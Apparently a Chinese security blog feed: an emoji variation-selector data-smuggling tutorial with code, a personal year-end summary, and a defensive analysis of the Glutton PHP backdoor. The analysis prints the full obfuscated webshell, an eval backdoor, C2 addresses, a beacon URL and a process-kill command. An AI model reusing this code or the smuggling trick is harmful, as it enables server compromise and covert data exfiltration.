Smuggling arbitrary data through an emoji | 通过emoji走私任意数据

https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/

写了个python版本,感觉有人是会拿来比赛出题的。

Unicode 码点

Unicode 是计算机科学领域的一项业界标准,包括字符集和编码方案。它为每种语言中的每个字符设定了统一且唯一的二进制编码,通常用两个字节表示一个字符。Unicode 码点(Code Point)是指 Unicode 字符在 Unicode 字符集中的唯一编号。

Unicode 编码格式

Unicode 编码格式有多种,其中最常见的是 UTF-8UTF-16。UTF-8 是一种可变长度的编码方式,根据字符的不同范围使用不同长度的编码。例如:

  • 000000-00007F: 0xxxxxxx
  • 000080-0007FF: 110xxxxx 10xxxxxx
  • 000800-00FFFF: 1110xxxx 10xxxxxx 10xxxxxx
  • 010000-10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Unicode 定义了 256 个代码点作为“变体选择器”,从 VS-1 到 VS-256。这些变体选择器本身没有可见的显示效果,但用于修改前一个字符的显示方式。例如,代码点 U+0067​(字符g​)后跟 U+FE01​(VS-2)仍然显示为小写g​,与单独的g​相同。但如果复制并粘贴该字符,变体选择器也会随之携带。

由于 256 足以表示一个字节,这为我们提供了一种在任何其他 unicode 代码点中“隐藏”一个字节数据的方法。

变体选择器

按照Paul Butler的思路,假设要编码字符串 "hello",其 ASCII 码为 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​。可以将每个字节映射到一个变体选择器,然后将这些变体选择器附加到一个基字符(如空格或emoji)后面。例如,使用emoji符作为基字符,编码后的字符串可能看起来像一个普通的表情符号,但实际上包含了隐藏的数据。

变体选择器的代码点被分为两段:最初的 16 个在 U+FE00​ 到 U+FE0F​ 之间,其余的 240 个在 U+E0100​ 到 U+E01EF​ 之间。

要从字节转换为变体选择器,我们可以执行类似以下 Rust 代码的操作:

fn byte_to_variation_selector(byte: u8) -> char {
    if byte < 16 {
        char::from_u32(0xFE00 + byte as u32).unwrap()
    } else {
        char::from_u32(0xE0100 + (byte - 16) as u32).unwrap()
    }
}

然后,要编码一系列字节,我们可以在一个基础字符后面连接多个这样的变体选择器:

fn encode(base: char, bytes: &[u8]) -> String {
    let mut result = String::new();
    result.push(base);
    for byte in bytes {
        result.push(byte_to_variation_selector(*byte));
    }
    result
}

为了编码字节 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​,我们可以运行以下代码:

fn main() {
    println!("{}", encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]));
}

输出就是:

😊󠅘󠅕󠅜󠅜󠅟

解码

fn variation_selector_to_byte(variation_selector: char) -> Option<u8> {
    let variation_selector = variation_selector as u32;
    if (0xFE00..=0xFE0F).contains(&variation_selector) {
        Some((variation_selector - 0xFE00) as u8)
    } else if (0xE0100..=0xE01EF).contains(&variation_selector) {
        Some((variation_selector - 0xE0100 + 16) as u8)
    } else {
        None
    }
}

fn decode(variation_selectors: &str) -> Vec<u8> {
    let mut result = Vec::new();

    for variation_selector in variation_selectors.chars() {
        if let Some(byte) = variation_selector_to_byte(variation_selector) {
            result.push(byte);
        } else if !result.is_empty() {
            return result;
        }
        // note: we ignore non-variation selectors until we have
        // encountered the first one, as a way of skipping the "base
        // character".
    }

    result
}

使用示例如下:

use std::str::from_utf8;

fn main() {
    let result = encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]);
    println!("{:?}", from_utf8(&decode(&result)).unwrap()); // "hello"
}

基字符(如空格或表情符号)不需要一定是emoji符号,任何 Unicode 字符都可以作为基字符。

image

python示例

encode

将字节(0-255​)转换为对应的变体选择器字符,判断字节大小并选择对应的变体选择器范围。将基字符和字节数组进行组合,依次生成编码后的字符串。

def byte_to_variation_selector(byte: int) -> str:
    """Converts a byte to a variation selector character."""
    if byte < 16:
        return chr(0xFE00 + byte)
    else:
        return chr(0xE0100 + (byte - 16))

def encode(base: str, bytes: list) -> str:
    """Encodes a base character with a list of bytes as variation selectors."""
    result = [base]
    for byte in bytes:
        result.append(byte_to_variation_selector(byte))
    return ''.join(result)

if __name__ == "__main__":
    base = ' '
    byte_sequence = [0x41, 0x6e, 0x64, 0x79, 0x4e, 0x6f, 0x65, 0x6c]
    encoded_str = encode(base, byte_sequence)
    print(encoded_str)

decode

解密思路就是将每个变体选择器字符映射回其对应的字节值,然后,编写一个函数,遍历输入字符串,提取所有有效的变体选择器字符,并将其转换为字节值。

def variation_selector_to_byte(variation_selector: str) -> int:
    code_point = ord(variation_selector)
    if 0xFE00 <= code_point <= 0xFE0F:
        return code_point - 0xFE00
    elif 0xE0100 <= code_point <= 0xE01EF:
        return code_point - 0xE0100 + 16
    else:
        raise ValueError(f"无效的变体选择器字符:{variation_selector}")
def decode(variation_selectors: str) -> bytes:
    result = bytearray()
    for char in variation_selectors:
        try:
            byte = variation_selector_to_byte(char)
            result.append(byte)
        except ValueError:
            if result:
                break
    return bytes(result)
encoded_str = ' 󠄱󠅞󠅔󠅩󠄾󠅟󠅕󠅜'
decoded_bytes = decode(encoded_str)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str) 

Annual Summary of 2024 | To be Better.

2024年12月24日22:00 | 平安夜🎄,这就到年底了,每天的日程还是挺满的,所以自己大概率是没办法抽出很多时间去一次性完成年终总结,于是打算提前几天动手,利用每晚的休息时间写一点,积少成多嘛。

前言

2024对我来说注定是不平凡的一年,一篇长达四年的大学青春小说在我的笔下迎来了属于它的结局。这篇小说虽然没有波澜壮阔的开场,但是有惊喜,也有遗憾,我自认为自己是一个念旧甚至到有点执着的人,每每翻过它时都不禁一叹:此去经年......大半个中国的游历;四年严苛的警务化管理;紧张的公安联考;一场轰轰烈烈却缘分未到的恋爱;感慨万千的毕业典礼;荣幸受邀参与了几场省部级、国家级安全比赛以及部门比武的出题、赛事支持工作;以及一场关于人生的豪赌。

做了什么?

b73037a5f259a395cf20b3f8528a65c

今年无疑是高产的一年,加上外出参赛、旅游、出差,轨迹地图又有了新成员,向南最远来到了福建福州,向西来到了陕西西安,而向北最远是内蒙古呼和浩特,除此之外,北京、天津、杭州、上海、南京、济南、青岛......见识到了不一样的风景

88a97050015b0cb7a0776c942b3f26d5d81a6c61c4e1b1d03d24369a6ab6a2

3b852a4a94987f2b313473628372d10e664954718df134ed4bd939f52f4fe1

46f9a5610e41f16bb4621e9cf6ac794ea9a66c300b7110113e634a0a97fbbc

还有许多祖国的大好河山还没有去探索,尤其是西部地区更是引人神往,所以后期看看有没有机会,弥补这方面的空白。

今年技术文章产量不高,写了20篇,其中在博客上更新了15篇,前期以分享比赛WriteUP为主,中间穿插研究了一些小玩意,比如网易云音乐前端加密算法的分析、手指指纹识别的分析,后期以学习如何分析国外高级持续性威胁组织的样本并详细记录为主,如APT-K-47 Asyncshell Version3 AnalysisAPT-K-47 Asyncshell Version1 AnalysisThe Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍等。

在此,感谢网络安全战队Chamd5 & Mini-VenomCTFIOT平台微步在线社区微步在云沙箱平台奇安信X实验室​、VirusTotal等各大网络安全组织的技术分享与支持,还有为了网络安全事业默默不停奉献的各位,正因为有大家的坚守,这个世界才逐渐变得更加安全与美好。

之前很多师傅好奇我的共同富裕板块进展咋样了?OK,现在我们揭秘一下。感谢各位老板的支持与抬爱,帮助师傅们累计达成合作意向20余次,比较成功。关于收费问题,请大家放心,过去是公益发布,现在以及将来也不会改变。

会有遗憾吗?

6b6369b7a6af00ee1fdf9f31dfc60d6

我持留白态度,硬要讲的话,我只说一句:祝天下有情人终成眷属,即使两人面临暂时的异地也不要害怕,双鸟暂时离分,必有重逢之日。如果真的最终没走到一起,却你们彼此相互努力过,那就没什么值得遗憾的。

01913f501b1a6b0b9c6d4082a4d8699

人生,不过就是一场豪赌。

生活是写好的剧本吗?就像活在一部电影里那样。

2023年11月1日,我记得特别清楚,奋斗了整整一天的蓝帽杯终于落下帷幕(真·黑灯搏杀,绷不住了),在返回学校后也是正式收心,开始了公安联考的学习。很多人问我,我花了大部分时间在网安学习和比赛上,那留给联考准备的时间够吗?我如实告诉大家:确实是非常紧张,每天都会有点焦虑,尤其是在看到周围同学得心应手的样子更是担心自己,先别说拔高了,能不能正常看完基础课都会是问题。但是没办法,自己做的孽就要自己承担。在很早之前我在实习日记里写过这样一句话:“我也想同情你,但我实在是做不到。人总要为自己的行为付出相应的代价。”一年前的子弹正中了我的眉心。那就啥也别说了,玩命看吧,每天都在两点左右回宿舍,有的时候太晚就直接在机房趴在椅子上睡着了。也算是功夫不负有心人,用最后一个月的时间里突击完了要学的基础内容。但是考试大家都懂,如果说学的是1+1=2,考的就是黎曼猜想(?),到底能考咋样对我来说就是运气问题了。

2024年1月,联考终于结束了。现在来看,我的运气还不错,综合来看考的还算理想,在大家成绩里也能算中上游水平,我甚是满意,尤其是申论考了68分更是给了我一个惊喜,我不奢求别的,毕竟蝴蝶飞不过沧海,谁又忍心责怪呢?突击要是能与别人日以继夜的勤勤恳恳相比肩,那就是对别人的不尊重了。

2024年6月,如期选岗,选得好不错,是个好岗位。但没过几天,我迎来了第二此机会,但与其说是机会,倒不如说是赌博,这次要押上的是自己的人生,它远没有联考选岗带来的真实,更像是镜中花、水中月。一边是联考的岗位,另一边是放弃这个现有的铁饭碗去选择一个还没有定局的考试,我觉得有100个人面临同样选择时,还是会选择联考的岗位,人生大事,可马虎不得;但我特立独行惯了,在纠结良久之后,也听遍了家里长辈的劝告之言,还是做出了放弃的决定。

image

声明发过去之后,感觉自己如释重负,甚至是有点飘飘然,有点小帅。

这次,幸运女神再次展现了她的微笑🙂

中间虽几经波折,此处我就一笔带过,总之自己是如愿来到了青岛,并且把自己的爱好变成了职业,不得不说,这是一件幸福的事。

回到上面,生活是写好的剧本吗?最起码在我看来不是的,希望大家亦是如此。

c03ca12fa4162eff2e6376b74b53f26

新的一年

不论是否相识,2025,祝看到这儿的你,天天开心,希望大家都能去奋力追求自己所爱的人和事,也希望我们都能够诚实地对待每一个当下,用每一个当下去触摸永恒,用每一个当下去做你应该做的事情,用每一个当下去爱你身边的人,用每一个当下去传递温暖,尤其在这样一个寒冷的冬天,不辜负每一场热爱与期待。

c6c0b6cfc6913d9a666b548cfe14289

今年我想用这样一句话勉励自己,也与大家共勉:我深知自己是一根廉价的火柴,本就是一棵朽木,没资格谈什么伟大与不朽,燃烧就是我存在的唯一价值(今天不燃烧过两天就返潮了,想烧也烧不着)。

嗷对,差点忘了,SanDieg0 | 圣地亚哥皮蛋-AndyNoel,断开连接......

了吗?

The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

